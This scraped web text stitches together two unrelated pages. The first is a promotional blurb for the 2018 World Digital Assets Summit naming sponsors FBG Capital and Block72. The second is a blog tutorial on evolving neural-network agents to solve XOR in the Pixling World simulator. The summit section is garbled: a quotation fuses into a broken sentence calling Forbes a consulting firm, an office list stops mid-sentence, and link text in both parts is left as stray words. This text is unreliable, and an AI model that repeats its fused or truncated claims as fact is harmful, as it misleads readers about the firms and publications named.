FBG Capital & Block 72 “FBG Capital is a digital asset management firm in blockchain-based capital market.” . Website FBG Capital have invested in several blockchain projects such as Aergo, Aelf, Mainframe and Zilliqa. When it comes to scouting, FBG Capital has superior techniques and it remains one of the industry’s top venture capitalist firm. “FBG capital is Asia’s Hottest Crypto Hedge Fund”. Forbes is a global consulting firm specializing in . Our team is led by senior management coming from top investment banks and management consulting firms like McKinsey and Ernst & Young. We have multiple offices across the world including . “Block72 blockchain and distributed ledger technology New York, Shanghai, Beijing, Seoul, and San Francisco” Website provides cryptocurrency and blockchain consulting services globally and is already working with top projects such as Aelf,WePower ,EximChain. BAT, Bancor, AE, Cortex, IoT Chain and DATA. Block72 Block 72 partnerships with blockchain projects. Other major sponsors of the event include Blockzone, CryptoBriefing, Global Coin Research, and CrushCrypto. Remarks The dissemination of information is important for everyday people to understand the underlying tech of blockchains and cryptocurrencies and the value blockchain technology offers to the way we live and work. Regardless of your role in the blockchain ecosystem, the summit will provide an excellent experience and platform for personal growth and professional development. WDAS 2 The speakers’ list is constantly updated and the summit’s agenda is yet to be posted on their website. Follow the official WDAS news channels to keep up to date with incoming information. Essential Links Website: https://wdas.world Twitter: https://twitter.com/wdas2018

San Francisco to host The World Digital Assets Summit (WDAS) in December this year, 2018.

Training a neural to perform is basically the Hello World of machine learning, and since Pixlings (agents) in my evolution simulator all have neural networks for brains, I figured it should be pretty straightforward implement it in my game. This blog post will show you how to do it (don’t worry, it’s really easy). If you want to follow along you can create an account at , it’s free and runs completely in the browser so no need to install anything. You can also see a finished version of this . network XOR https://pixling.world here The general outline of what we’ll do is that we will give each Pixling an XOR “problem” each step, and if they solve the problem we will reward them by letting them reproduce. If they answer incorrectly we will kill them. This gives them plenty of incentive to get really good at XOR really quickly. A problem to solve for our Pixlings We’ll be using what’s called “Environments” to create the XOR problem for the Pixlings. Each environment has a single floating point value for each cell in the world, so if we create two of them and randomize the values to be either 0 or 1 we get the two values the Pixlings need to perform XOR on. They will then have to give an answer by using one out of two abilities we will give them (more on this later), so for instance if the values of the environments for a Pixling are 0 and 1, they should use the True ability if they don’t want to be killed, as 0 xor 1 is 1. Hit “Create World” if you haven’t already and then hit the green edit button in the top and create an environment named “A” (or whatever you want, just remember it later). In the eachStep section we will first add a “SetValue” with an If switch that sets the value to 0 or 1 depending on the outcome of a random number. This will create an environment where each cell is randomly 1 or 0 each step. You can set the “displayMaxValue” to 1 to make it easier to see the values, or change “visibility” to hide the environment from rendering entirely as it can get a bit annoying with the flashing colors after a while. This is the configuration we’re going for. You can check that it’s working by hitting run in the panel to the right. Duplicate this environment so you have two inputs to the network. You can duplicate it by right clicking the little square next to its name in the sidebar to the left and choosing “Duplicate” (surprise surprise). Hit Update to save these changes. Tools to solve the problem Next we will create two Abilities for the Pixlings named “True” and “False”. We’ll expect them to choose one or the other depending on the inputs of their current cell, and if they choose right we’ll reward them. Go to the Abilities editor and add a new Ability. In the Actions section we want an “If else” statement that switches on whether they guessed right or not, so for the “True” ability you want something that looks like this: If the Pixlings use this ability in the correct situation (when they’re on a cell where A != B) they’ll be rewarded by getting to Reproduce. If they use the ability in the wrong situation they die though. Duplicate the ability to create the “False” ability, except for that one the comparison should be == instead of !=. Almost done! Next we just need to create a new Pixling that we can use to clone into the world. Go to the “Pixling zoo” tab and add a new Pixling. Set its abilities to the two abilities you just created. We also want our world a bit larger than the default so change it to at least 300x300 in the Advanced tab. Hit Update to write your changes to your world. Let’s run it! Great, you’re ready to kick of the simulation now! If it’s not already running hit the play button in the top and set the Speed to at least Hyper. Then click the “Spawn Pixlings” button (the icon is a little Pixling baby) in the “Pixling zoo” panel (this one is different from the one in the Edit world dialog). The click in the world to spawn a few Pixlings. You can change the “Radius” setting at the bottom to spawn many at the same time. Use this button to spawn new Pixlings. Initially they have completely random weights so chances are they’ll die pretty quickly. If you spawn a bunch you should get some that perform ok at least though, and fairly quickly you’ll have a world full of Pixlings, like this: Pixlings are colored to make it easier to see which “species” they belong to. Each time they reproduce their color is slightly changed, so you can easily see which ones are closely related and not. Video of this here: https://youtu.be/-7U5f7XrzuE But it’s not filling up. Why? Well turns out we have a very basic problem with our world. The default neural networks only have one layer and we need at least two to perform XOR. Hit the edit world button again and browse to the Pixling zoo tab, where you can change the brainNLayers setting to two. Run it a while longer and you should end up with something that looks like this: Much better. Video here: https://youtu.be/sbf-Mnk1njo I.e. virtually no space left in the world. Which means the Pixlings are pretty great at performing XOR! (Remember, they are punished with death if they get it wrong even once, so they have a lot of incentives to be good at it). And that’s it, if you’ve followed along you should now have your own species of XORing Pixlings! One last note One odd thing I ran into while building this was that smaller networks seemed to perform worse (i.e. take longer to evolve). I’m guessing this is because a larger network have many more ways to solve this problem, whereas a small one only have a small number of “solutions” so it takes longer to find those. Finally, this was just one small, and fairly technical, demo of what you can build in Pixling World. But there’s a lot more you can do with this. You can create anything from to or . It’s up to you! To learn more you can , or check out the . ecosystems with plants, herbivores and carnivores complex weather dynamics just plain beautiful simulations read about how I’m implementing it wiki Hope you enjoyed! /Fredrik

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